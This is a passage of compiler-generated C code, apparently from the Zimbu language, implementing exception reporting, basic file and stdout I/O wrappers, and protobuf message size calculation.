(*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YDGe)); } topFrame = sf.prev; return; } Tc *YrHq__Ytlm_I_imt[] = { (Tc*)&YrHq__T, (Tc*)0, (Tc*)0, (Tc*)0, (Tc*)0, /* MEModule__CInternal.NEW - YrHq__YwtA__YRHRa */ (Tc*)YrHq__YwtA__YRHR, /* MEModule__CInternal.NEW - YrHq__YwtA__YRHR */ (Tc*)0, /* MEModule__CInternal.ToString - YrHq__YwtA__YH0V */ (Tc*)YrHq__YwtA__YxaJa, /* MEModule__CInternal.writeTo - YrHq__YwtA__YxaJa */ (Tc*)YrHq__YwtA__YxaJ, /* MEModule__CInternal.writeTo - YrHq__YwtA__YxaJ */ (Tc*)0, /* MEModule__CInternal.toString - YrHq__YwtA__Yoww */ (Tc*)0, /* MEModule__CInternal.getMessage - YrHq__YwtA__YCzX */ (Tc*)0, /* MEModule__CInternal.getPos - YrHq__YwtA__YvCK */ (Tc*)0, /* MEModule__CInternal.getBacktrace - YrHq__YwtA__Y4bq */ (Tc*)0, /* Init - YrHqa */ }; To ToYrHq[] = { {3, 0}, {0, (Tt*)&string__T}, /* message */ {0, (Tt*)&YkxB__T}, /* pos */ {0, (Tt*)&list__T}, /* backtrace */ }; Tto YrHq__T = {390, (Tc*)&YVki, 0, ToYrHq}; void YUSH(YkxB *Apos, Tc *Atext) { Tr ex; YrHq *Ve = 0; Tr t0 = {NULL}; Ve = YrHq__YwtA__YRHR(NULL, Atext); if ((Apos != NULL)) { Ve->Vpos = Apos; } *Znao(&ex, Ve, YrHq__Ytlm_I_imt, 26); ZthrowIobject(ex); } void YxIS(Tr Ae) { static int entered = 0; int didEnter = entered; entered = 1; if ((Ae).type == 1) { Ti VexitVal; VexitVal = ((YEro *)Znio(1, 1571802, (Ae)))->Vvalue; if (!didEnter) beforeExit(); exit(VexitVal); } else { YvL0(Ae); if (!didEnter) beforeExit(); exit(1); } return; } void YvL0(Tr Ae) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; sf.pos=5238600; Ylxt(); sf.pos=5238601; YQar(Ae, 1, YeNQ); sf.pos=5238617; ((Ts (*)(void*))(YeNQ.table[18]))(YeNQ.ptr); topFrame = sf.prev; return; } void YQar(Tr A0, Tb A1, Tr A2) { if (A0.ptr == NULL) ZthrowCstringNil("writeTo: object is NIL, cannot select method to invoke"); if (A2.ptr == NULL) ZthrowCstringNil("writeTo: argument 2 is NIL, cannot select method to invoke"); switch (A0.type) { case 0: YxaJa(A0.ptr,A1,ZconvertZioref(A2, YdXi__imtt, 0, 99999, 5238602)); return; case 1: YEro__YxaJa(A0.ptr,A1,ZconvertZioref(A2, YdXi__imtt, 0, 99999, 5238603)); return; case 2: return; case 3: return; case 4: YKhn__YwtA__YxaJa(A0.ptr,A1,ZconvertZioref(A2, YdXi__imtt, 0, 99999, 5238604)); return; case 5: Y1uN__YwtA__YxaJa(A0.ptr,A1,ZconvertZioref(A2, YdXi__imtt, 0, 99999, 5238605)); return; case 6: YAxe__YwtA__YxaJa(A0.ptr,A1,ZconvertZioref(A2, YdXi__imtt, 0, 99999, 5238606)); return; case 7: YVNj__YwtA__YxaJa(A0.ptr,A1,ZconvertZioref(A2, YdXi__imtt, 0, 99999, 5238607)); return; case 8: return; case 9: return; case 10: Yalz__YwtA__YxaJa(A0.ptr,A1,ZconvertZioref(A2, YdXi__imtt, 0, 99999, 5238608)); return; case 11: return; case 12: Y2EX__Yalz__YwtA__YxaJa(A0.ptr,A1,ZconvertZioref(A2, YdXi__imtt, 0, 99999, 5238609)); return; case 13: return; case 14: YX0i__Yalz__YwtA__YxaJa(A0.ptr,A1,ZconvertZioref(A2, YdXi__imtt, 0, 99999, 5238610)); return; case 15: return; case 16: return; case 17: YzSI__Ylz1__YwtA__YxaJa(A0.ptr,A1,ZconvertZioref(A2, YdXi__imtt, 0, 99999, 5238611)); return; case 18: return; case 19: YXKl__YwtA__YxaJa(A0.ptr,A1,ZconvertZioref(A2, YdXi__imtt, 0, 99999, 5238612)); return; case 20: return; case 21: return; case 22: return; case 23: return; case 24: YuDC__YwtA__YxaJa(A0.ptr,A1,ZconvertZioref(A2, YdXi__imtt, 0, 99999, 5238613)); return; case 25: return; case 26: YrHq__YwtA__YxaJa(A0.ptr,A1,ZconvertZioref(A2, YdXi__imtt, 0, 99999, 5238614)); return; case 27: return; case 28: return; case 29: Ys_q__YwtA__YxaJa(A0.ptr,A1,ZconvertZioref(A2, YdXi__imtt, 0, 99999, 5238615)); return; case 30: YOEA__YwtA__YxaJa(A0.ptr,A1,ZconvertZioref(A2, YdXi__imtt, 0, 99999, 5238616)); return; case 31: return; } ZthrowCstringBadValue("writeTo: cannot select method to invoke"); return; } /* EModule done */ /* including ZModule bodies */ YkxB *Ypp_a(YkxB *t, Tc *Afilename, Ti Alnum, Ti Acol) { if (t == NULL) {t = Za(sizeof(YkxB));} t->Vfilename = Afilename; t->Vlnum = Alnum; t->Vcol = Acol; return t; } Tc *YpI_(YkxB *t) { Zsf sf; Tc *r = 0; YjUM *Vw = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=1818700; ZthrowThisNil(); } sf.pos=1818701; Vw = Za(sizeof(YjUM)); sf.pos=1818702; if ((t->Vfilename == NULL)) { sf.pos=1818703; YJqza(Vw, ((Tc*)&YKo1)); } else { sf.pos=1818704; YJqza(Vw, t->Vfilename); } sf.pos=1818705; YJqza(Vw, ((Tc*)&YBpY)); sf.pos=1818706; YjUM__YHhZb(Vw, t->Vlnum); sf.pos=1818707; YJqza(Vw, ((Tc*)&Y8ES)); sf.pos=1818708; YjUM__YHhZb(Vw, t->Vcol); sf.pos=1818709; r = YbNW(Vw); topFrame = sf.prev; return r; } To ToYkxB[] = { {2, 0}, {0, (Tt*)&string__T}, /* filename */ {0, (Tt*)&string__T}, /* text */ }; Tto YkxB__T = {390, (Tc*)&YBCs, 0, ToYkxB}; /* ZModule done */ /* including IOModule bodies */ Tr Yd89() { Tr r = {NULL}; Tr Vfile = {NULL}; Vfile = Zao(Za(sizeof(Yw8L)), Yw8L__Yw8L_I_imt, 0); (*(FILE **)(Vfile.ptr + (size_t)Vfile.table[20])) = stdin; r = Vfile; return r; } Tr Yvyt() { Tr r = {NULL}; Tr Vfile = {NULL}; Vfile = Zao(Za(sizeof(Yw8L)), Yw8L__Yw8L_I_imt, 0); (*(FILE **)(Vfile.ptr + (size_t)Vfile.table[20])) = stdout; r = Vfile; return r; } Tr YsM3() { Tr r = {NULL}; Tr Vfile = {NULL}; Vfile = Zao(Za(sizeof(Yw8L)), Yw8L__Yw8L_I_imt, 0); (*(FILE **)(Vfile.ptr + (size_t)Vfile.table[20])) = stderr; r = Vfile; return r; } Tc **YdXi__imtt[] = { Yw8L__YdXi_imt, 0, YjUM__YdXi_imt, 0, }; Ts YwHoa(Yw8L *t, Tc *Atext) { Ts Vret; Zsf sf; Ts r = 0; Tr t0 = {NULL}; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=9482300; ZthrowThisNil(); } Vret = 0; sf.pos=9482301; if ((t->Vfd == NULL)) { Tr ex; sf.pos=9482302; *Znao(&ex, YXKl__YwtA__YRHR(NULL, ((Tc*)&YQe8)), YXKl__Ytlm_I_imt, 19); ZthrowIobject(ex); } sf.pos=9482303; { Tc *p; Ti len = ZstringSizePtr(Atext, &p); if (len == 0 || fwrite(p, (size_t)len, (size_t)1, t->Vfd) == 1) Vret = 1; else Vret = 0; } sf.pos=9482304; r = Vret; topFrame = sf.prev; return r; } Ts Yw8L__YHhZb(Yw8L *t, Ti Anumber) { Zsf sf; Ts r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=5981900; ZthrowThisNil(); } sf.pos=5981901; r = YwHoa(t, Zint2string(Anumber)); topFrame = sf.prev; return r; } Ts Yw8L__YRt7g(Yw8L *t) { Zsf sf; Ts r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=8261800; ZthrowThisNil(); } sf.pos=8261801; r = YwHoa(t, ((Tc*)&Yk)); topFrame = sf.prev; return r; } Tc *Yw8L__Yw8L_I_imt[] = { (Tc*)&Yw8L__T, (Tc*)YwHoa, /* MIOModule__CFile.write - YwHoa */ (Tc*)0, /* MIOModule__CFile.write - Yw8L__YHhZa */ (Tc*)Yw8L__YHhZb, /* MIOModule__CFile.write - Yw8L__YHhZb */ (Tc*)0, /* MIOModule__CFile.write - Yw8L__YHhZc */ (Tc*)0, /* MIOModule__CFile.write - Yw8L__YHhZd */ (Tc*)0, /* MIOModule__CFile.write - Yw8L__YHhZe */ (Tc*)0, /* MIOModule__CFile.write - Yw8L__YHhZf */ (Tc*)0, /* MIOModule__CFile.write - Yw8L__YHhZg */ (Tc*)0, /* MIOModule__CFile.writeByte - YvfVa */ (Tc*)0, /* MIOModule__CFile.writeChar - Yw8L__Ydti */ (Tc*)0, /* MIOModule__CFile.print - Yw8L__YRt7 */ (Tc*)0, /* MIOModule__CFile.print - Yw8L__YRt7a */ (Tc*)0, /* MIOModule__CFile.print - Yw8L__YRt7b */ (Tc*)0, /* MIOModule__CFile.print - Yw8L__YRt7c */ (Tc*)0, /* MIOModule__CFile.print - Yw8L__YRt7d */ (Tc*)0, /* MIOModule__CFile.print - Yw8L__YRt7e */ (Tc*)0, /* MIOModule__CFile.print - Yw8L__YRt7f */ (Tc*)Yw8L__YRt7g, /* MIOModule__CFile.print - Yw8L__YRt7g */ (Tc*)0, /* MIOModule__CFile.format - Yw8L__YTPv */ (Tc*)0, (Tc*)0, (Tc*)0, /* MIOModule__CFile.readByte - YFeQ */ (Tc*)0, /* MIOModule__CFile.readChar - YAPp */ (Tc*)0, /* MIOModule__CFile.readAll - Yyuma */ (Tc*)0, /* MIOModule__CFile.readAll - Yyum */ (Tc*)0, /* MIOModule__CFile.readAllBytes - YVfz */ (Tc*)0, /* MIOModule__CFile.readLine - YaEh */ (Tc*)0, /* MIOModule__CFile.readLineRaw - Yn2l */ (Tc*)0, /* MIOModule__CFile.readAllLines - YCm1a */ (Tc*)0, /* MIOModule__CFile.readAllLines - YCm1 */ (Tc*)0, /* MIOModule__CFile.readAllLinesRaw - YWWFa */ (Tc*)0, /* MIOModule__CFile.readAllLinesRaw - YWWF */ (Tc*)0, /* MIOModule__CFile.writeAllLines - YZFx */ (Tc*)0, /* MIOModule__CFile.flush - YGmp */ (Tc*)0, /* MIOModule__CFile.close - YrF8 */ (Tc*)0, /* MIOModule__CFile.Finish - YSo_ */ (Tc*)0, /* Init - Yw8La */ }; Tc *Yw8L__YdXi_imt[] = { (Tc*)&Yw8L__T, (Tc*)YwHoa, /* MIOModule__CFile.write - YwHoa */ (Tc*)0, /* MIOModule__CFile.print - Yw8L__YRt7 */ }; To ToYw8L[] = { {1, 0}, {0, (Tt*)&string__T}, /* name */ }; Tto Yw8L__T = {390, (Tc*)&YtTU, 0, ToYw8L}; Tr YiBk(Tc *AfileName, Tb Atruncate) { Zsf sf; Tr r = {NULL}; Tr Vfile = {NULL}; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; sf.pos=8158000; { int flags = O_WRONLY|O_CREAT; if (Atruncate) flags |= O_TRUNC; int fnr = open(ZgetCstring(AfileName), flags, 0666); if (fnr >= 0) { if (!Atruncate) lseek(fnr, 0, SEEK_END); sf.pos=8158001; Vfile = *Znao(&Vfile, Za(sizeof(Yw8L)), Yw8L__Yw8L_I_imt, 0); sf.pos=8158002; (*(FILE **)(Vfile.ptr + (size_t)Vfile.table[20])) = fdopen(fnr, "w"); } } sf.pos=8158003; r = Vfile; topFrame = sf.prev; return r; } Ts Yl0k(Tc *Atext) { Ts Vret; Ti Vlen; Zsf sf; Ts r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; Vret = 0; sf.pos=187200; Vlen = ZbyteStringSize(Atext); sf.pos=187201; if ((Vlen == 0 || fwrite(ZgetCstring(Atext), (size_t)Vlen, 1, stdout) == 1) && fputc('\n', stdout) >= 0) Vret = 1; else Vret = 0; sf.pos=187202; r = Vret; topFrame = sf.prev; return r; } Ts Ylxt() { Ts Vret; Zsf sf; Ts r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; Vret = 0; sf.pos=4676100; if (fflush(stdout) == 0) Vret = 1; else Vret = 0; sf.pos=4676101; r = Vret; topFrame = sf.prev; return r; } Ts YJqza(YjUM *t, Tc *Atext) { Ti Vlen; Zsf sf; Ts r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=8998700; ZthrowThisNil(); } sf.pos=8998701; Vlen = ZbyteStringSize(Atext); sf.pos=8998702; if ((t->Vs == NULL)) { sf.pos=8998703; t->Vs = ZnewArray((Tt*)&byte__T, sizeof(Tc), (Vlen + 30)); sf.pos=8998704; Zas(t->Vs, Atext, 0, 0); sf.pos=8998705; t->VsLen = Vlen; } else { sf.pos=8998706; if ((((t->VsLen + Vlen) + 1) >= ZArraySize(t->Vs))) { sf.pos=8998707; ZarrayResize(t->Vs, sizeof(Tc), (((ZArraySize(t->Vs) + (ZArraySize(t->Vs) / 8)) + Vlen) + 50)) ; } sf.pos=8998708; Zas(t->Vs, Atext, 0, t->VsLen); sf.pos=8998709; t->VsLen += Vlen; } sf.pos=8998710; r = 1; topFrame = sf.prev; return r; } Tc *YbNW(YjUM *t) { Zsf sf; Tc *r = 0; Tc *Vr = NULL; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=6453100; ZthrowThisNil(); } sf.pos=6453101; if ((t->Vs == NULL)) { sf.pos=6453102; Vr = ((Tc*)&Ya); } else { sf.pos=6453103; Vr = ZnewString(t->Vs->ptr, t->VsLen); } sf.pos=6453104; r = Vr; topFrame = sf.prev; return r; } Ts YjUM__YHhZb(YjUM *t, Ti Anumber) { Zsf sf; Ts r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=7200700; ZthrowThisNil(); } sf.pos=7200701; r = YJqza(t, Zint2string(Anumber)); topFrame = sf.prev; return r; } Tc *YjUM__YdXi_imt[] = { (Tc*)&YjUM__T, (Tc*)YJqza, /* MIOModule__CStringWriter.write - YJqza */ (Tc*)0, /* MIOModule__CStringWriter.print - YjUM__YRt7 */ }; To ToYjUM[] = { {2, 0}, {0, (Tt*)&array__T}, /* s */ {0, (Tt*)&string__T}, /* x */ }; Tto YjUM__T = {390, (Tc*)&YE4c, 0, ToYjUM}; Tb Y0YB(Tc *Aname) { Ti Vv; Zsf sf; Tb r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; Vv = 0; sf.pos=7156300; Vv = access(ZgetCstring(Aname), R_OK); sf.pos=7156301; r = (Vv == 0); topFrame = sf.prev; return r; } int JIOModule(int round) { static int round_done = -1; int done = 1; if (round_done < round) { Zsf sf; sf.prev = topFrame; sf.pos = 0; sf.frof = NULL; topFrame = &sf; round_done = round; if (round == 0) { sf.pos=745200; Y59X = Yd89(); sf.pos=745201; Yb0q = Yvyt(); sf.pos=745202; YeNQ = YsM3(); } topFrame = sf.prev; } return done; } /* IOModule done */ /* including zimbuConfig bodies */ /* including Proto bodies */ Ys_q *Ys_q__YwtA__YRHR(Ys_q *t, Tc *Amsg) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) {sf.pos=7083300; t = Za(sizeof(Ys_q));} sf.pos=7083301; t->Vmessage = Amsg; sf.pos=7083302; t->Vpos = MZ__callerPos(); sf.pos=7083303; t->Vbacktrace = (sf.pos=7083304, MZ__backtrace(1, -1)); topFrame = sf.prev; return t; } void Ys_q__YwtA__YxaJa(Ys_q *t, Tb Averbose, Tr Aw) { Zsf sf; Tl *Zf2 = NULL; YkxB *Vpos = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=6348300; ZthrowThisNil(); } sf.pos=6348301; Ys_q__YwtA__YxaJ(t, Aw); sf.pos=6348302; if ((Averbose && (t->Vbacktrace != NULL))) { sf.pos=6348303; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Y62e)); sf.pos=6348304; { Tfl Zf2i; Zf2 = t->Vbacktrace; Zf2i.l = Zf2; Zf2i.valp = (void*)&Vpos; Zf2i.i = 0; for (; ZforListPtrCont(&Zf2i); ) { sf.pos=6348305; if ((Vpos->Vfilename == NULL)) { sf.pos=6348306; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Yv6_)); } else { sf.pos=6348307; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Yk)); sf.pos=6348308; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, YpI_(Vpos)); sf.pos=6348309; if ((Vpos->Vtext != NULL)) { sf.pos=6348310; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YFDa)); sf.pos=6348311; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, Vpos->Vtext); } } sf.pos=6348312; } } } topFrame = sf.prev; return; } void Ys_q__YwtA__YxaJ(Ys_q *t, Tr Aw) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=7368400; ZthrowThisNil(); } sf.pos=7368401; if ((t->Vpos != NULL)) { sf.pos=7368402; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, YpI_(t->Vpos)); sf.pos=7368403; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YFDa)); } sf.pos=7368404; if (((t->Vmessage != NULL) && (ZbyteStringSize(t->Vmessage) != 0))) { sf.pos=7368405; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YHbP)); sf.pos=7368406; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, t->Vmessage); } else { sf.pos=7368407; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YDGe)); } topFrame = sf.prev; return; } Tc *Ys_q__Ytlm_I_imt[] = { (Tc*)&Ys_q__T, (Tc*)0, (Tc*)0, (Tc*)0, (Tc*)0, /* MProto__CE_ProduceError.NEW - Ys_q__YwtA__YRHRa */ (Tc*)Ys_q__YwtA__YRHR, /* MProto__CE_ProduceError.NEW - Ys_q__YwtA__YRHR */ (Tc*)0, /* MProto__CE_ProduceError.ToString - Ys_q__YwtA__YH0V */ (Tc*)Ys_q__YwtA__YxaJa, /* MProto__CE_ProduceError.writeTo - Ys_q__YwtA__YxaJa */ (Tc*)Ys_q__YwtA__YxaJ, /* MProto__CE_ProduceError.writeTo - Ys_q__YwtA__YxaJ */ (Tc*)0, /* MProto__CE_ProduceError.toString - Ys_q__YwtA__Yoww */ (Tc*)0, /* MProto__CE_ProduceError.getMessage - Ys_q__YwtA__YCzX */ (Tc*)0, /* MProto__CE_ProduceError.getPos - Ys_q__YwtA__YvCK */ (Tc*)0, /* MProto__CE_ProduceError.getBacktrace - Ys_q__YwtA__Y4bq */ (Tc*)0, /* Init - Ys_qa */ }; To ToYs_q[] = { {3, 0}, {0, (Tt*)&string__T}, /* message */ {0, (Tt*)&YkxB__T}, /* pos */ {0, (Tt*)&list__T}, /* backtrace */ }; Tto Ys_q__T = {390, (Tc*)&Y4sk, 0, ToYs_q}; YOEA *YOEA__YwtA__YRHR(YOEA *t, Tc *Amsg) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) {sf.pos=4631200; t = Za(sizeof(YOEA));} sf.pos=4631201; t->Vmessage = Amsg; sf.pos=4631202; t->Vpos = MZ__callerPos(); sf.pos=4631203; t->Vbacktrace = (sf.pos=4631204, MZ__backtrace(1, -1)); topFrame = sf.prev; return t; } void YOEA__YwtA__YxaJa(YOEA *t, Tb Averbose, Tr Aw) { Zsf sf; Tl *Zf2 = NULL; YkxB *Vpos = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=7053000; ZthrowThisNil(); } sf.pos=7053001; YOEA__YwtA__YxaJ(t, Aw); sf.pos=7053002; if ((Averbose && (t->Vbacktrace != NULL))) { sf.pos=7053003; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Y62e)); sf.pos=7053004; { Tfl Zf2i; Zf2 = t->Vbacktrace; Zf2i.l = Zf2; Zf2i.valp = (void*)&Vpos; Zf2i.i = 0; for (; ZforListPtrCont(&Zf2i); ) { sf.pos=7053005; if ((Vpos->Vfilename == NULL)) { sf.pos=7053006; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Yv6_)); } else { sf.pos=7053007; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&Yk)); sf.pos=7053008; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, YpI_(Vpos)); sf.pos=7053009; if ((Vpos->Vtext != NULL)) { sf.pos=7053010; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YFDa)); sf.pos=7053011; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, Vpos->Vtext); } } sf.pos=7053012; } } } topFrame = sf.prev; return; } void YOEA__YwtA__YxaJ(YOEA *t, Tr Aw) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=8073100; ZthrowThisNil(); } sf.pos=8073101; if ((t->Vpos != NULL)) { sf.pos=8073102; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, YpI_(t->Vpos)); sf.pos=8073103; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YFDa)); } sf.pos=8073104; if (((t->Vmessage != NULL) && (ZbyteStringSize(t->Vmessage) != 0))) { sf.pos=8073105; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YHbP)); sf.pos=8073106; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, t->Vmessage); } else { sf.pos=8073107; ((Ts (*)(void*, Tc*))(Aw.table[1]))(Aw.ptr, ((Tc*)&YDGe)); } topFrame = sf.prev; return; } Tc *YOEA__Ytlm_I_imt[] = { (Tc*)&YOEA__T, (Tc*)0, (Tc*)0, (Tc*)0, (Tc*)0, /* MProto__CE_BinaryError.NEW - YOEA__YwtA__YRHRa */ (Tc*)YOEA__YwtA__YRHR, /* MProto__CE_BinaryError.NEW - YOEA__YwtA__YRHR */ (Tc*)0, /* MProto__CE_BinaryError.ToString - YOEA__YwtA__YH0V */ (Tc*)YOEA__YwtA__YxaJa, /* MProto__CE_BinaryError.writeTo - YOEA__YwtA__YxaJa */ (Tc*)YOEA__YwtA__YxaJ, /* MProto__CE_BinaryError.writeTo - YOEA__YwtA__YxaJ */ (Tc*)0, /* MProto__CE_BinaryError.toString - YOEA__YwtA__Yoww */ (Tc*)0, /* MProto__CE_BinaryError.getMessage - YOEA__YwtA__YCzX */ (Tc*)0, /* MProto__CE_BinaryError.getPos - YOEA__YwtA__YvCK */ (Tc*)0, /* MProto__CE_BinaryError.getBacktrace - YOEA__YwtA__Y4bq */ (Tc*)0, /* Init - YOEAa */ }; To ToYOEA[] = { {3, 0}, {0, (Tt*)&string__T}, /* message */ {0, (Tt*)&YkxB__T}, /* pos */ {0, (Tt*)&list__T}, /* backtrace */ }; Tto YOEA__T = {390, (Tc*)&YtJ_, 0, ToYOEA}; YqvM *Ykww(YqvM *t, Tc *Aname, Ti Anr, Te Atype, Tb Arepeated) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) {sf.pos=1366600; t = Za(sizeof(YqvM));} sf.pos=1366601; t->Vname = Aname; sf.pos=1366602; t->Vnr = Anr; sf.pos=1366603; t->Vtype = Atype; sf.pos=1366604; t->Vrepeated = Arepeated; topFrame = sf.prev; return t; } To ToYqvM[] = { {1, 0}, {0, (Tt*)&string__T}, /* name */ }; Tto YqvM__T = {390, (Tc*)&Y5d5, 0, ToYqvM}; YLWE *YrCUb(YLWE *t, Tr Awriter, Tc *Aindent, Tb AuseNr) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) {sf.pos=1246900; t = Za(sizeof(YLWE));} sf.pos=1246901; t->Vwriter = Awriter; sf.pos=1246902; t->Vindent = Aindent; sf.pos=1246903; t->VuseNr = AuseNr; sf.pos=1246904; YEV9(t); topFrame = sf.prev; return t; } void YEV9(YLWE *t) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=3295600; ZthrowThisNil(); } sf.pos=3295601; t->VderefTime = ++(YcTI); sf.pos=3295602; t->VderefTimeSize = t->VderefTime; topFrame = sf.prev; return; } To ToYLWE[] = { {2, 0}, {0, (Tt*)&iobj__T}, /* writer */ {0, (Tt*)&string__T}, /* indent */ }; Tto YLWE__T = {390, (Tc*)&YaKG, 0, ToYLWE}; Ti Ybyp(YqvM *Afspec) { Ti Vtag; Zsf sf; Ti r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; sf.pos=4959900; Vtag = (((Afspec->Vnr << YqNA)) + ZDictGetInt(YLwW, (Tz)(Ti)ZDictGetInt(YXCQ, (Tz)(Ti)Afspec->Vtype))); sf.pos=4959901; r = YmeT(Vtag); topFrame = sf.prev; return r; } Ti YFN0(Tr Amsg, YLWE *AprotoWriter) { Ti Vsize; Zsf sf; Ti r = 0; Tl *Zf1 = NULL; Tc *Vs = NULL; Tr Vother = {NULL}; Tc *Vs1 = NULL; Tr Vother1 = {NULL}; YqvM *Vfspec = 0; Tr t0 = {NULL}; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; Vsize = 0; sf.pos=9067900; { Tfl Zf1i; Zf1 = ((Tl* (*)(void*))(Amsg.table[43]))(Amsg.ptr); Zf1i.l = Zf1; Zf1i.valp = (void*)&Vfspec; Zf1i.i = 0; for (; ZforListPtrCont(&Zf1i); ) { sf.pos=9067901; if (Vfspec->Vrepeated) { Ti Vcount; sf.pos=9067902; Vcount = ((Ti (*)(void*, Ti))(Amsg.table[42]))(Amsg.ptr, Vfspec->Vnr); sf.pos=9067903; { Ti Vi; Tfr Zf3; ZforRangeNew(0, Vcount, 1, 1, &Zf3); for (ZforRangeGetInt(&Zf3, &Vi); ZforRangeContInt(&Zf3); ZforRangeNextInt(&Zf3, &Vi)) { sf.pos=9067904; switch (Vfspec->Vtype) { case 9: case 11: { sf.pos=9067905; Vsize += Ybyp(Vfspec); sf.pos=9067906; Vsize += YmeT(((Ti (*)(void*, Ti, Ti))(Amsg.table[11]))(Amsg.ptr, Vfspec->Vnr, Vi)); break; } case 10: { sf.pos=9067907; Vsize += Ybyp(Vfspec); sf.pos=9067908; Vsize += YmeT(((Ti32 (*)(void*, Ti, Ti))(Amsg.table[13]))(Amsg.ptr, Vfspec->Vnr, Vi)); break; } case 19: { Ti Vv; sf.pos=9067909; Vsize += Ybyp(Vfspec); sf.pos=9067910; Vv = ((Tu (*)(void*, Ti, Ti))(Amsg.table[15]))(Amsg.ptr, Vfspec->Vnr, Vi); sf.pos=9067911; Vsize += YmeT(Vv); break; } case 18: { Ti Vv; sf.pos=9067912; Vsize += Ybyp(Vfspec); sf.pos=9067913; Vv = ((Tu32 (*)(void*, Ti, Ti))(Amsg.table[17]))(Amsg.ptr, Vfspec->Vnr, Vi); sf.pos=9067914; Vsize += YmeT(Vv); break; } case 6: { sf.pos=9067915; Vsize += Ybyp(Vfspec); sf.pos=9067916; Vsize += 4; break; } case 7: { sf.pos=9067917; Vsize += Ybyp(Vfspec); sf.pos=9067918; Vsize += 8; break; } case 1: { sf.pos=9067919; Vsize += Ybyp(Vfspec); sf.pos=9067920; Vsize += 1; break; } case 17: { Ti Vlen; sf.pos=9067921; Vsize += Ybyp(Vfspec); sf.pos=9067922; Vs = ((Tc* (*)(void*, Ti, Ti))(Amsg.table[25]))(Amsg.ptr, Vfspec->Vnr, Vi); sf.pos=9067923; Vlen = ZbyteStringSize(Vs); sf.pos=9067924; Vsize += (YmeT(Vlen) + Vlen); break; } case 3: { Ti Vnr; sf.pos=9067925; Vnr = ((Ti (*)(void*, Ti, Ti))(Amsg.table[7]))(Amsg.ptr, Vfspec->Vnr, Vi); sf.pos=9067926; Vsize += Ybyp(Vfspec); sf.pos=9067927; Vsize += YmeT((((Vnr < 0)) ? (0) : (Vnr))); break; } case 12: { sf.pos=9067928; Vother = ((Tr (*)(void*, Ti, Ti))(Amsg.table[37]))(Amsg.ptr, Vfspec->Vnr, Vi); sf.pos=9067929; Vsize += YMrV(Amsg, Vother, Vfspec, AprotoWriter); break; } default: { Tr ex; sf.pos=9067930; *Znao(&ex, YOEA__YwtA__YRHR(NULL, ZcS(((Tc*)&Ytvm), Zenum2string(MProto__EType, Vfspec->Vtype))), YOEA__Ytlm_I_imt, 30); ZthrowIobject(ex); } } sf.pos=9067931; } } } else { sf.pos=9067932; if (((Tb (*)(void*, Ti))(Amsg.table[5]))(Amsg.ptr, Vfspec->Vnr)) { sf.pos=9067933; switch (Vfspec->Vtype) { case 9: case 11: { sf.pos=9067934; Vsize += Ybyp(Vfspec); sf.pos=9067935; Vsize += YmeT(((Ti (*)(void*, Ti))(Amsg.table[12]))(Amsg.ptr, Vfspec->Vnr)); break; } case 10: { sf.pos=9067936; Vsize += Ybyp(Vfspec); sf.pos=9067937; Vsize += YmeT(((Ti32 (*)(void*, Ti))(Amsg.table[14]))(Amsg.ptr, 